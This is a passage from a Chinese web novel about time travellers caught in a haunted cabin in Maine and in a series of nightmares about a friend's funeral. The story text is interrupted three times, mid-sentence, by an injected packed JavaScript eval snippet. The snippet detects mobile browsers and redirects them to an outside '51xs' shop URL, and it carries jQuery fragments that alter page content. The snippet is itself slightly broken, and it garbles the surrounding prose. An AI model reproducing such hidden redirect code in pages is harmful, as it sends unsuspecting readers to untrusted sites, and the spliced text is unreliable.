他连忙把手松开:“抱歉,你怎么样?受伤了吗?”他自己手腕被木头触须缠过的地方勒出了几道深深的血痕,伤口看起来触目惊心,好在不疼,也没有继续流血。 “不怎么样。”奥多娜脸色苍白,她喘了几口气,忽然翻身爬起,从腰间抽出另一把枪,单膝跪地,把弹匣里的所有子弹都射进了木墙。她一双眸子惊魂未定,但持枪的双手竟然还能保持稳定,恨恨骂道:“妈的,我还以为死定了。” 莱纳德赶紧滚到旁边,但晚了一步,耳朵被枪声炸得嗡嗡直响,他捂着耳朵爬起来,抱怨道:“喂,你好歹提个醒啊。”一边抬头看着面前的木墙,那么多子弹都没能在上面留下哪怕一个弹孔,这究竟是个什么怪物? 莱纳德忽然感到一阵强烈的不安,他说不清缘由,但千真万确,有什么地方不对劲。 太顺利了。 而直觉告诉他,绝无可能这么顺利。 “是你自己动作太慢,我拔枪还不算提醒吗?”奥多娜回过头,这才看到以利亚,顿时吓了一跳:“以利亚,你什么时候来的?”她疑惑地看了眼莱纳德:“喂,你们不会是早就约好在这里碰头的吧?” 莱纳德张了张嘴,心思立刻转到了跟以利亚的意外重逢上,这就是时间旅行者的麻烦,霍普认识以利亚,而以利亚却还不认识她。 他只好尴尬地清清嗓子:“呃,不是你想的那样。” 以利亚也从地上爬了起来,看着奥多娜:“我们见过吗?” 奥多娜愣了愣:“……不会吧?”她半是惊讶半是好笑,一挑眉:“你还没见过我?” 以利亚也笑笑:“恐怕是这样的。” “这可真是时空旅行者的独家惊喜。”奥多娜啧啧感叹,朝以利亚伸出手,“奥多娜·霍普,很高兴见到你。”她故意压低声音,作出一副神秘兮兮的样子,“初次见面,送你一则独家情报,我们还会见面的。” “是吗?我很期待。”以利亚微笑着说。 “那我还真是受宠若惊。”奥多娜露出一排雪白的牙齿,又转过头,用胳膊肘碰碰莱纳德,小声问:“所以你们俩认识吗?还是说,我刚刚错过了你们的宿命般的相遇?” “宿命是什么鬼……”莱纳德满脸尴尬,“我们认识,当然,时间上稍稍有点错位,但我们早就认识了。” 奥多娜“哦”了一声,看起来居然有点遗憾。 以利亚默不作声地听了一会儿,开口:“有谁能告诉我这是什么地方吗?” “当然,”莱纳德清清嗓子,勉强把乱飘的思绪拉回来,“这里是地球,美国缅因州,2005年,我们在一片森林里。”他犹豫自己有多少能够告诉面前的以利亚,才不会“一不小心”改变他们的时间线。 他最后说:“这间木屋就在林子里,我和奥多娜刚才进来落脚休息,结果遇到点小意外。” 奥多娜在一旁吹了声口哨,笑嘻嘻地没说话,但那副憋着一肚子坏水的模样可把莱纳德吓出了一身冷汗。他偏过脑袋,在以利亚看不到的角度悄悄瞪了奥多娜一眼,奥多娜转了转眼珠,回以一个意味深长的笑容。 “缅因森林。”以利亚若有所思,“所以你们是来徒步旅行的?” 徒步旅行这种鬼话可骗不过以利亚,而且大没必要,但不等莱纳德开口,奥多娜就像个大傻瓜似的抢先答道:“当然,听说这个季节的缅因景色最宜人,运气好还能打到刚长肥的海鸟呢,对吧,莱尼?” 莱纳德没忍住翻了个白眼,他就知道不用提前担心三个人在一起会把问题搞得很复杂,因为担心也没用。 有霍普女士在,混乱只是个时间问题。 “既然如此,也是时候上路了,此地恐怕不宜久留。”以利亚看起来不打算戳破这个无聊的谎话,“你们不介意多一个人徒步吧?” 奥多娜慷慨地一摆手:“当然不。”她停顿一下,又说:“不过,我还以为你会想深入调查一下这木屋里的鬼东西呢。” 以利亚笑笑:“宇宙很大,并不是每个奥秘都值得探索,尤其是那些能要人小命的东西。”他的语气再次让莱纳德感到一阵心慌,但木墙始终毫无异状,这恐慌似乎没有道理。 也许毫无异状才是令人恐慌的根源。 奥多娜瞟了莱纳德一眼,故意用恍然大悟的语气说道:“我还以为,你和莱尼专挑要命的地方冒险呢。” 猝不及防地被打小报告,莱纳德气得想踩她一脚,但奥多娜和以利亚一拍即合,当下便并肩出门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736795|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莱纳德只好跟上,无声地叹了口气。 看起来,他只能挑个合适的时机把话跟以利亚说清楚了。 可惜这个时机并没能如愿到来。 三人顺利地离开木屋,不约而同地松了口气,看来不管木屋里的“鬼东西”是什么,都没有把他们留下来的执念。 指南针还是不能用,好在奥多娜记忆力惊人,在最前面带路,莱纳德和以利亚跟在后面,以利亚漫不经心地开口:“森林徒步,嗯?” 莱纳德咬牙:“一时兴起,我们原本在,呃,公路旅行。” 以利亚嗤嗤地笑出声:“看来没有我在,你们的交通工具在走下坡路了。” “谁说不是呢。”莱纳德也跟着笑起来,要说这一路莱纳德没有怀念过那道闪着绿色荧光的传送门,那他可就是在说谎了。结果不等笑容从他脸上消失,以利亚便猝不及防地问道:“所以说我去哪儿了?我是说,未来的我。” 莱纳德张了张嘴,他早就在思考该怎么解释这个问题,而以利亚也体贴地给够了他时间,但话到嘴边,莱纳德仍然感到不安,也许是他还没习惯对以利亚撒谎:“呃,时间滑脱,这次时间很长,我、我们也在找你、呃、找他。”说完紧张地看着以利亚,感到胃里一阵瑟缩,好像被塞进了一整袋蝴蝶。 幸好以利亚没有起疑,他对时间滑脱的说法不予置评,只简短地说了句:“知道自己还有未来,感觉挺不错。” 莱纳德把嘴巴闭得紧紧的。 奥多娜忽然停下了脚步,头也不回地说:“伙计们,好像不大对劲。”她用食指点了点指南针,指针依然在乱转,而他们明明已经走出很远了。 “怎么了?”莱纳德快步追上去,奥多娜正用猫一样警觉的目光打量着四周,莱纳德跟着左看右看,却什么都没看出来。 头顶,一块乌云飘来遮住了太阳,天色转眼变得阴沉,一股凉风吹过,空气中潮湿的气息顿时明显起来,预示着雨水将至。 莱纳德抬起头喃喃:“天变得好快……” “你不觉得这条路很眼熟吗?”奥多娜的声音很低,像是生怕惊动林子里的小动物,她说完蹲下去检查一丛灌木,还捡起了一块拳头大的石块,在手里掂了掂。 莱纳德摇摇头:“说老实话,这些树看起来都一样。”尤其是天阴下来之后,四处都显得鬼气森森,连树枝被风吹得摇晃的模样也看着十分僵硬古怪。 “奥多娜说得对。”以利亚凑上前来,他手里拿着那支叫莱纳德非常怀念的金属笔,在面前的空气中画了个没有颜色的圈,又晃了晃,用十分肯定的口吻说:“这地方的磁场古怪得很,而且范围不小,怪不得指南针失效了。” “哎,等等,”莱纳德指指金属笔,问以利亚,“你能用这个开一道传送门把我们带出森林吗?” 以利亚笑笑,但那笑容里似乎也透着一丝古怪:“恐怕要让你失望了,在这种磁场里,小范围坐标传送很可能出大问题,正所谓失之毫厘谬以千里。” “好吧,”莱纳德没多想,“正所谓走一步看一步。” “童子军们,悄悄话说完了吗?该继续前进了。”奥多娜从一株松树前离开,朝两个人挥挥手,继续迈步向前走去,丢下一句,“我有种不好的预感,你们最好跟紧点。” 而后来发生的事情证明,她的担心并非全无道理。 84.第十五章:鬼打墙 等他们再次看到小木屋时,天色已经完全黑了下来,细细的雨丝也开始往下落,现在还只是淅淅沥沥的,但要不了多久就会变成一场倾盆大雨。 三个人一齐站在木屋前,看着笼罩在雨雾中的木屋轮廓,都有种活见鬼的感觉。 奥多娜抱着胳膊,一脸凝重:“有多大可能,这林子里不止有一间闹鬼的木屋?” “比你乐意听到的恐怕要大那么一点,”以利亚居然还笑得出来,但表情也绝对谈不上轻松愉快,他指了指面前的木屋,“不过要我说,这恐怕就是咱们离开的那间木屋,附近的植物一模一样。”他顿了顿,又补充道:“不管闹不闹鬼。” 莱纳德叹了口气:“怎么办?进屋还是掉头?” 奥多娜跟着叹气:“掉头有什么用?搞不好再走一个小时又会回到原地。”她伸手搭了个凉棚,抬头看看迅速黑下来的天色,“而且雨搞不好会下得很大,你们上次看见这种天色是什么时候?我反正只在暴雨天见过。”话音未落,头顶便是一道惊雷滚过,雪亮的闪电把几人的脸映得一片惨白。 “先躲雨,其他的雨停后再说。”以利亚当机立断,伸手推开木门,抬腿跨了过去。莱纳德和奥多娜跟着进屋,莱纳德一进门就先检查了门框旁边的弹孔——奥多娜自卫时开枪留下的——果然不见了。 是木头自我修复? 还是他们当真来到了另一间一模一样的木屋? “该死的灰尘还是老样子。”奥多娜从背包里掏出手电,光柱在屋里晃来晃去,最后停留在那段看起来足有一百年高龄的木头楼梯上,问:“有人想上楼看看吗?” 莱纳德刚刚把自己的手电推亮,闻言惊讶地笑出来:“客厅里的木头能吃人,厨房水池里住着会飞的黑泥,你还想知道楼上有什么?” “会飞的黑泥是什么?”奥多娜问。 “感兴趣自己去看。”莱纳德竖起拇指向后边的厨房戳了戳,“建议你离水池子远一点。” 奥多娜识时务地一摆手:“还是算了吧,我向来讨厌跟做饭有关的东西。” 莱纳德忍不住讥刺:“怎么吃饭的时候不见你少吃,哎呦!”向后一跳,敏捷地躲过了奥多娜踢来的一脚。 以利亚从莱纳德手里拿过手电筒,把光晃到楼梯口,沉吟片刻,忽然说:“我准备上楼看看,要一起吗?” 莱纳德的心跟着灯柱忽悠一下:“不是,你还真打算上去啊?” 以利亚耸耸肩:“如果真遇到暴风雨,楼上至少会比楼下安全一点。”他语气里终于透出些许凝重,补充道,“天黑了,我们得做好在这里过夜的准备。” 在这鬼地方过夜的念头让莱纳德毛骨悚然,但眼下也没有更好的办法,他只能暗自庆幸奥多娜在他们的背包里放了压缩睡袋。 “我跟你上楼。”他最后鼓足勇气说。 以利亚建议三个人同步行动,奥多娜痛快地答应了。 不过要莱纳德说,她是压根不敢一个人再待在客厅里,毕竟被一面墙“吃掉”的心理阴影可不是随随便便就能翻篇的。 三个人一齐上楼,这种老旧的木质楼梯本该一踩就“吱呀”直响,但他们落脚却更像是踩到刚出厂的橡胶或是硬邦邦的果冻上,只有奥多娜的战术靴摩擦出了难听的“咯吱”声。 楼上有三间卧房,不多不少,正好够三个人住。 但眼下当然没人愿意独享一间卧室,于是把三个房间挨个检查过后,以利亚挑了其中一间,作为他们过夜的休息场所,离楼梯口最近,方便逃跑。 就在他们上楼探索的短短十几分钟里,雨“哗啦哗啦”地越下越大,伴随着电闪雷鸣,成功营造出了鬼片似的环绕立体声氛围。 木屋里没有供电供暖,只有两根孤零零的手电筒光柱照亮,冷飕飕的十分瘆人,但以利亚和奥多娜都面无惧色,莱纳德也就不好显得与众不同,壮起胆子把背包里的压缩睡袋取出来,故作镇定:“谁睡床?” 奥多娜似笑非笑:“你说呢?” “还能有谁?”以利亚抢先拍了拍硬邦邦的床板,一屁股坐上去,“当然是我了。”他伸长胳膊把莱纳德的背包捞过来,团了团,勉强当作枕头,就这么和衣躺下。 莱纳德没骨气地默默地抖开睡袋,铺在床旁边,看着以利亚,欲言又止。 以利亚冲莱纳德龇牙一笑,阴森森地说:“希望半夜这床不会像三明治机一样把我夹扁了。” 这画面相当具有冲击力,莱纳德恨不得一把捂住这张乌鸦嘴:“快别说了!” 以利亚哈哈一笑,低头躲过了莱纳德丢过来的露指手套。 奥多娜看三人已经各自就位,预告道:“我这边要关灯了。”然后就推灭了手电。屋里登时只剩下莱纳德手边的光柱还顽强地亮着。 好黑……莱纳德犹犹豫豫地摩挲着手电筒开关,一时竟真的有些害怕。 “金毛儿,”奥多娜忽然开口,吓得莱纳德一个激灵,只听她调侃道,“战术手电虽然耐用,但也不是核能的,你悠着点。” “我,”莱纳德清了清嗓子,“我还不困。” “正好,”奥多娜在睡袋里窸窸窣窣地翻了个身,隔着以利亚床底下的空间朝莱纳德望过去,一双眼睛亮晶晶的,“我这有好几个鬼故事呢,你想听哪种?” 莱纳德心一横把手电关了:“我困了,睡吧。”屋里顿时一片漆黑,只有屋外的雨声缠绵不休,而且愈来愈剧烈,仿佛有无数双小手在敲打着屋顶和窗玻璃。 他尝试着闭上眼睛,但空气粘稠得化不开,黑暗仿佛变成了某种塑料膜似的实体,朝他的脸慢慢盖了下来,莱纳德发誓,他甚至能感受到呼吸喷在塑料膜上,然后再反弹到脸上的怪恶心的热乎劲。 “以利亚,”莱纳德忍不住睁开眼睛,轻轻地叫道,“你睡着了吗?” 他心知不管旁边的两人睡没睡着,这一声都能把他们叫醒,奥多娜多半还会嘲笑他,很丢人,是的,但总比一个人在黑暗中窒息要强些。 “怎么了?”以利亚回答,声音果然很清醒。 “你有没有觉得屋里空气好闷?”事实上,睁开眼睛之后,那种被挤压的窒息感便消失了,莱纳德自忖,也许真的是怕黑的缘故,但这话打死他也说不出来。 “没有,不过下雨天就是这样。”以利亚回答,又安抚道,“别胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741363|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思乱想,不会有事的。” “好吧。”莱纳德闷声道。 安静了片刻,以利亚忽然从床上翻过来,把一条胳膊伸了过来,低声说道:“你要是怕黑可以抓住我的手。” 莱纳德的心顿时砰砰直跳,一半是因为被看破心思,一半是因为——开玩笑吗?拜托,他们又不是幼儿园小朋友,还玩什么手拉手?况且旁边还有别人呢! “等等,你……” 但以利亚的手已经摸索着抓住了他的右手,那只手冷冰冰的,莱纳德只觉得一股战栗顺着两人交握的掌心一路窜上手臂,没被安抚到不说,一时间连头皮都发麻了。 “没、没必要这样吧?”莱纳德没骨气地问了一句,但手却没松开。 “相信我,有必要。”以利亚似乎笑了笑。 “你嗓子怎么了?”莱纳德听到以利亚的声音奇怪的哑了起来,仿佛加了混音特效,心里不由得一紧,但不等他问完,握着他的那只手忽然便化成一滩粘稠的黑水,顺着指缝流了下去。 莱纳德只吓得魂都飞了,却偏偏连一丝声音都发不出来,他连拍带打地把手上的东西抹到睡袋上,一边往远离床的方向打了个滚,一回头,只见床上探出一颗脑袋来——看在耶稣的份上,绝对不是以利亚——那东西的轮廓疯狂流动着,不等迈下床,便整个人化成了一滩黑泥,朝莱纳德涌了过来。 他在做梦!绝对是在做梦! 莱纳德手脚挣扎着想从睡袋里爬出来,惨叫声尚未突破桎梏,黑泥便先一步找上了他,先包裹住他的手,然后是整条手臂,紧接着沿胸口脖颈一路向上,最后连整个脑袋一齐淹没。 咕嘟。 覆盖脸部的黑泥冒起一个泡,随即碎掉了。 铃—— 铃铃—— 莱纳德伸手按掉闹铃,连眼睛都没睁开,他没睡好,别说眼皮,整个人都沉甸甸的,在被子里翻了个身,迷迷糊糊地想道,昨晚熬夜刷视频,有个up主说这是亚健康的症状,必须靠补眠调节回来,这话很有道理。 于是心安理得地继续睡。 但十分钟偷懒时间像是一秒钟就过去了,莱纳德还没来得及再做会儿梦,闹铃便又不屈不挠地响了起来,保持着刺耳的高分贝调门,大有不吵死他不罢休的势头。 莱纳德不情不愿地哼哼一声,把脑袋钻回了被子里。 一只手探过来,把手机闹铃从无法达成的叫醒任务中解脱出来,然后掀开被子,像挖地鼠一样把莱纳德挖出来,拍拍他的脸:“懒鬼,早课不上了?” “妈的,为什么要有早课?”莱纳德勉强睁开眼,眼皮却又强行盖了回去,他呻吟一声,毫无尊严地说,“以利亚,你替我去上吧,求你了。” 以利亚无情地拒绝了他:“不行。”而且理由充分,“我上午也有课。” 莱纳德闭着眼开空头支票:“我替你去上。” 以利亚直接气笑了:“滚你的。”他最后在莱纳德被子上用力拍了一巴掌,留下一句:“等到期末被奈特女士挂科,可别找我哭鼻子哦。”说完便飘然而去。 宿舍门关上的声音并没能吵醒再次迅速入睡的莱纳德。 85.第十六章:另一条路 “快起床了,贪睡鬼。”以利亚又在叫他。 “不起。”莱纳德哼哼唧唧地,闭着眼睛抗议,“我昨晚在实验室干到半夜,不多睡会儿懒觉我扛不住。” “你在说什么胡话?睡觉睡傻了吧。” “哦,我梦见我们还在学校里,我,呃,你因为睡懒觉上课迟到了。” “滚蛋。”以利亚上来伸手掀掉莱纳德的被子,无情地把他拉起来,“最后提醒,给你三秒钟睁眼,我要拉窗帘了。”说完便松开了莱纳德。 莱纳德还没在地吸引力的作用下回归床铺的怀抱,“唰啦”一声,窗帘被人拉开,他“啊”地大叫一声,捂住脸控诉道:“以利亚,你好狠!我要瞎了。” “快看看外面阳光多好。” “不看,我瞎了。” “你想睡也起来跟我去沙滩上再睡,有海风吹着,还有海浪声催眠,保管你睡得更香。” “不去,我在床上睡得挺好。” “别闹。”以利亚又伸手过来拉他,莱纳德闭着眼睛乱躲了一阵,终于还是被拽了起来,他睡意未消,满脑袋头发支棱八叉地,愤愤地拨开以利亚:“想睡个懒觉怎么这么难?度假的意义难道不就是想干嘛就干嘛吗?” “度假的意义是亲近大自然,省得你整天长在实验室里,变成一颗蘑菇。”以利亚有理有据地反驳。 “谁整天在实验室了?我不是每天按时出去吃饭?”莱纳德揉揉脸,拖着脚步去刷牙洗脸。以利亚跟在后面,恨不得揪住他耳朵摇晃一通:“那是有我监督,不然你早就饿死了。” “承认吧,就是你想看海了。”莱纳德吐出一口牙膏沫,从镜子里斜乜了以利亚一眼。 以利亚笑嘻嘻地露出两排白牙,理直气壮:“我从来没说过不是啊。”他抱着胳膊靠在门框上,又说:“毕业旅行的机会又不是每天都有,等工作了谁还有机会出门旅游。” “放松点,没准你以后当导游呢。” “滚蛋。” “再说,要毕业的是我,你不是还要读博士吗?” “别咬文嚼字的,杜弗伦先生,你毕业也算毕业旅行。” “那为什么不听我的?”莱纳德嘟嘟囔囔,拧开水龙头准备洗脸,“我更喜欢公路旅行。” “你要是想,等在海滩玩够了,我们可以租辆车南下,听说95号公路风景不错,我们可以一路开到佛罗里达,阳光之州,你不是一直想去吗?” “去看海?”莱纳德哼笑。 “这就叫一举多得。”以利亚回敬道。 “你上辈子肯定是条鱼,这么喜欢水。”莱纳德掬水洗脸,恶作剧的念头忽然冒起来,他不动声色地再掬起一把水,转身兜头朝以利亚泼了过去,“干脆跟水多亲近亲近!” 以利亚猝不及防被泼了一脸,一下子愣在了原地。 红酒顺着他的脸淌下来,滴滴答答地落进领口里,把白衬衣染得一塌糊涂,仿佛一滩稀释过的血迹。 他面前,金发女郎瞪着他,怒气冲冲地开口道:“以利亚先生,你这种态度恕我不能接受!说到底,你怎么有脸出现在这里的?这可是莱尼的好日子,希望你别连它也一起毁了!” 以利亚眨眨眼睛,睫毛湿漉漉的,挂着几滴颤颤巍巍的酒液,他垂下头:“佩吉,我……” “别叫我佩吉!对你来说是玛格丽特·杜弗伦女士,请放尊重一些。”金发女郎提高声音,寸步不让,莱纳德从旁边拉住她的胳膊,小声劝道:“佩吉,别这样。” 佩吉甩开他的手,转过来,满脸不可思议:“都到这地步了,你居然还打算替他说话?你可真是个大傻瓜!” 莱纳德痛苦地说:“我不是替他说话,但现在大庭广众的,吵起来对谁都不好。”那身燕尾服刑具一样套在他身上,让他感觉自己像个马戏团小丑,而周围人的目光更加重了这种感觉。 那些冷漠的、嘲笑的、窥视的目光,仿佛化为实质,嘁嘁喳喳地窃窃私语着,黏糊糊地粘在他身上,甩也甩不掉。 莱纳德简直想要逃跑了。 但他不能,就像佩吉说的,今天是属于他的日子。 佩吉抱起胳膊看着他,冷笑着说:“傻弟弟,你还想着对他不好,你问问他,他把你骗得团团转的时候有没有想过对你好不好?” “玛格丽特,我没有骗莱尼。”以利亚低头擦了擦脸上的酒液,但看起来还是颇为狼狈,他冷静地看着佩吉,“这是个误会,我能解释,如果你愿意听的话。” “别叫我莱尼。”莱纳德也生气了。 佩吉几乎是同时说道:“我不想听!” “好吧,真不愧是杜弗伦姐弟。”以利亚苦笑着喃喃,他后退一步,“既然不想听,我也就没什么好说的了。”他抬起头,用那双薄情的灰眼睛郑重地看了莱纳德一眼,说道:“再会,杜弗伦。” 他顿了顿,最后说:“不管怎样,我很抱歉。” 说完以利亚便转身离开宴会厅,门口的服务生替他推开大门,他头也不回地走了出去。 楼外,雨下得正急。 莱纳德忽然拔腿追了出去:“以利亚,等等我!” 周围立刻响起一片惊讶地倒吸冷气声。 佩吉在他身后愤怒地大叫:“莱纳德·杜弗伦,你给我回来!别再丢人现眼了!” 但莱纳德好像没听见,义无反顾地一头冲进了瓢泼大雨中。 冰凉的雨水拍打在脸上,又像小溪一样淌进脖子里,时间久了连冷都感觉不到,莱纳德的双眼被雨水糊住,几乎看不见前路,却只顾闷头狂奔。他又大叫了一声:“以利亚!”立刻有雨水灌进了嘴里,冰凉又苦涩。 旁边忽然有人拉住他的手,用力一拽,在雷雨中大声说道:“跟着我!”竟然是以利亚!莱纳德的心一瞬间落回了肚子里,他们到底不会分开,莱纳德和以利亚在一起,这才对头。 但以利亚的表情却似乎并不是那么回事,他一脸惊慌地看着莱纳德,连声说道:“快跑!快跑!”一边拉着他一路向前狂奔,两人的鞋子在满是泥的路面上疯狂打滑,踩出“啪叽”“啪叽”的水声。 莱纳德这才注意到,自己脚上穿的不是刚刚打过鞋油锃光瓦亮的皮鞋,而是高帮厚底的靴子,作训裤脚紧紧扎在里面,他们身上也不再是蹩脚的燕尾服,而是沾满泥土的牛仔裤和皱皱巴巴的法兰绒衬衫。 仿佛两人不是刚刚在宴会上决裂的好友,而是一对刚从囚笼里逃出来的亡命徒。 “怎、怎么回事?”莱纳德气喘吁吁。 “坏时机,莱尼,妥妥地坏时机,就是这样。”以利亚脸色苍白,显然也并不比他轻松。 “老兄,跟你在一起,时机就从没好过。” “说、说得好。” “至少告诉我你的计划。” “来不及了,他们追上来了。”以利亚的语气里有几分绝望的意味,身后,手电筒灯柱像探照灯似的乱闪乱晃,有人在粗声吆喝:“喂!站住!不然开枪了!” 开枪?! 追他们的到底是什么人啊? 莱纳德脚下打滑,差点一跤摔倒,以利亚用力把他拽起来,在他耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744395|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边说:“别怕,他们不敢开枪的。” 几乎是话音刚落,便有震耳欲聋的枪声响起。 那几枪显然不是朝天放的,莱纳德甚至感到有流弹擦着自己的耳朵飞了过去,脸颊一侧顿时热烘烘地淌下血来。 “他们开枪了,天呐,你明明说说他们不会。” “妈的!全乱套了,妈的!”以利亚骂了一连串脏话,他落后半步,用力推着莱纳德的后背把他往前推去:“快跑,快,千万别忘了,我……”他的声音忽然弱了下去,仿佛有一大块海绵噎进了喉咙里,一眨眼便吸光了他的声音和力气。 莱纳德一回头,登时惊了,只见以利亚的衬衫前襟上一大片刺眼的猩红,在雨水冲刷下很快被稀释,但那不是红酒,不是的。 那是…… 脚下忽然重重一绊,莱纳德整个人朝前飞扑了出去,在地上连打了几个滚,脸被一丛灌木硬刺划得生疼。 “见鬼!”莱纳德呻吟着爬起来,这才看清绊倒他的竟然是一块墓碑。 他扭头四顾,周围的环境令人心惊的眼熟。 丛生的杂草,湿淋淋的石头小径,跟他在镇公墓里见过的一模一样,还有那块墓碑。 总是那块墓碑。 ——以利亚·X·海伊克默里希长眠于此。 莱纳德站起来,目光牢牢地黏在墓碑的烫金字母上,他不明白,以利亚明明一直跟他在一起,是的,两个人有争吵矛盾,有起起落落,但生活难道不都是如此吗? 所以究竟是谁把他葬在了这里? “你这几天一定过得很糟糕。”佩吉在他身后说,她穿着一身剪裁得体的黑色西装裙,手里撑着一把黑色大伞,替莱纳德挡住了雨水。 “我挺好的。”莱纳德伸手抹了把脸,他和周围的人一样,穿得跟乌鸦一样黑,每个人脸上都挂着阴沉沉的严肃表情,好像有谁死了似的。 哦对,这是以利亚的葬礼,当然了。 人们在葬礼上总是穿着黑色,目光恓惶,嘴角下垂,说一些言不由衷的屁话,像是“他现在和天使在一起了”“上帝保佑他的灵魂安息”之类之类的。 他也应该照做,不是吗? 可以利亚并没有亲人,唯一需要被这些善意谎言欺骗的,只有他自己。 “别逞强,莱尼,那不是你的强项。”佩吉似乎笑了笑,她伸出一只手搭在莱纳德的肩膀上,安抚地拍了拍。“刚才的悼词说得很好,很感人。” “谢了,但安慰人显然也不是你的强项。”莱纳德说,然后吃痛地叫了一声。 佩吉用力掐了他一把,似笑非笑:“你说得对,打醒你才是我的强项。”她忽然叹了口气,语气郑重起来:“你陷得太深了,莱尼,有时候我真想一巴掌打醒你。” “我没有。”莱纳德反驳。 “你失去了一个人,我知道,你很痛苦,但这是每个人都会经历的,相信我,或迟或早。” “你不知道我经历了什么。” “没错,但不管那是什么,现在都结束了。” “别说了。” “好。” “我只是……我好难受,佩吉。” “我知道。” “告诉我该怎么办,求你了。” “是时候醒来了,莱尼。” “可我、可我怎么能丢下他?这里这么冷、这么黑……” “这里不是你该待的地方。” “可我还能怎么办?” “接受现实,这是唯一的办法。” “不,还有一条路。” 86.第十七章:排除不可能 莱纳德睁开眼睛,梦境像潮水一般褪去,只留下蜘蛛似的小螃蟹在思维沙滩上缓缓爬动,留下一连串细小的爪印。 居然会梦到以利亚的葬礼。 当然,只是个梦。 莱纳德不知道是否该感到庆幸。 梦境中的真实感似乎仍在,令他动弹不得,仿佛有看不见的重物当头压下,扼住了他的喉咙,攫住了他的心脏,脑子如同裹在厚厚的浓雾中,连思考都变得说不出的困难。 他的呼吸声压抑而凌乱,听起来好像受到惊吓的孩子。 他还是不能动。 “莱尼,醒醒。”以利亚从床上探出来,伸手拍了拍莱纳德露在睡袋外面的肩膀,啪——就像奥兹国的伟大魔法师念了一句神奇咒语,莱纳德立刻就能动了,“见鬼!”他用力清了清嗓子,但声音听起来哑得活像只乌鸦。 “我、我刚才在做梦……” “噩梦?”以利亚问。 莱纳德嘟囔了几个毫无意义的词,等着自己的呼吸平缓下来:“我梦见、我梦见你变成一滩黑泥把我活生生吞下去,然后、然后我在大学宿舍里醒过来,再然后是长岛的海滩度假区,我们一起去沙滩上晒太阳,结果下雨了……” “只是梦而已。” “希望不是某种隐喻。” “你只是累了。” “但那听起来就像是某种隐喻,你的潜意识在作怪,不是吗?”奥多娜忽然插嘴,她不知道什么时候醒了过来,在黑暗中,只能听到她语音含笑,带着几分调侃,说道:“好朋友变成黑泥把你生吞活剥什么的,要我说,你们俩该去看看心理医生,双人有优惠。” “别胡说,奥多娜。”以利亚温和地说,但听起来更像是“别吓唬他”。 窗外,雨还在下。 莱纳德的心砰砰直跳,为什么他的噩梦里总是在下雨? “莱尼,你还好吗?”以利亚问。 “简直好的不能再好,咳咳,但也不会对一杯冰镇柠檬水说不就是了。”莱纳德说,他揉了揉喉咙,手指摩挲过的地方跟要起火一样。 一阵窸窸窣窣的声响过后,以利亚探出来上半身,伸胳膊去摸莱纳德的额头。 “你发烧了。”以利亚做出诊断,莱纳德瑟缩了一下,“是你的手太凉了。”说这话的时候,莱纳德感觉自己鼻孔里呼出去的不是气,而是火,但还是拼命把头往后仰,嘴硬道,“别大惊小怪的,睡一觉就好了。” “先别睡,喝点水。”以利亚从背包里拿出保温杯,拧开盖子,杯子里只有白开水,还是凉的,就像他们准备保温杯是担心水被捂热似的,这两个傻瓜。 他不由得有点发愁,但眼下除了喝水睡觉也没更好的办法了。 “我有药。”奥多娜说,“咔嗒”一声把手电打开,从睡袋里爬出来,绕过以利亚的床走到另一边。 她注意着不晃到莱纳德的眼睛,手电光柱像绝地武士的光剑一样竖在手臂后。 但从莱纳德的角度看去,光柱却像是被黑暗侵蚀似的,颤颤巍巍的怎么都亮不起来。 说不定噬光兽也在屋里呢,他想。 “让我看看,小可怜,你感觉怎么样?”奥多娜在莱纳德身旁蹲下来,手里握着几只小药瓶,放下手电筒去摸他的脑袋,“呦,快烧开了都。” “别。”莱纳德嘟囔道,感觉奥多娜的手像小小的冰块一样,而他自己的头却胀成了篮球那么大,他叹了口气,闭上眼睛,“是时候醒来了。” “什么?”奥多娜问。 “嗯?”莱纳德不太清醒地看了她一眼。 “你在说胡话了。”奥多娜伸手指跟他比了个“三”,担忧地问,“这是几?” 莱纳德伸手抓住奥多娜的手指,又松开:“三。” 奥多娜看了以利亚一眼,表情似笑非笑:“你看吧,人已经烧糊涂了。” “你不是有药?”以利亚皱起眉头。 “但那只是药,不是圣水。”奥多娜单手叉腰,“以利亚,这不是个养病的好地方。”她顿了顿,叹气:“这话虽然不好听,但是实话,以利亚,眼下实在不是个生病的好时机。” “没什么生病的好时机,生病就是生病。”以利亚淡淡地说,摊开手掌接过奥多娜递来的药,低头嗅了嗅,“你的圣水闻起来像美国产的。”他勾着莱纳德的脖子把人扶起来:“来,吃药了。” 莱纳德顺从地把药片吞下去,就着以利亚递到嘴边的水杯喝了两口水,嘟哝道:“我该醒醒了。” 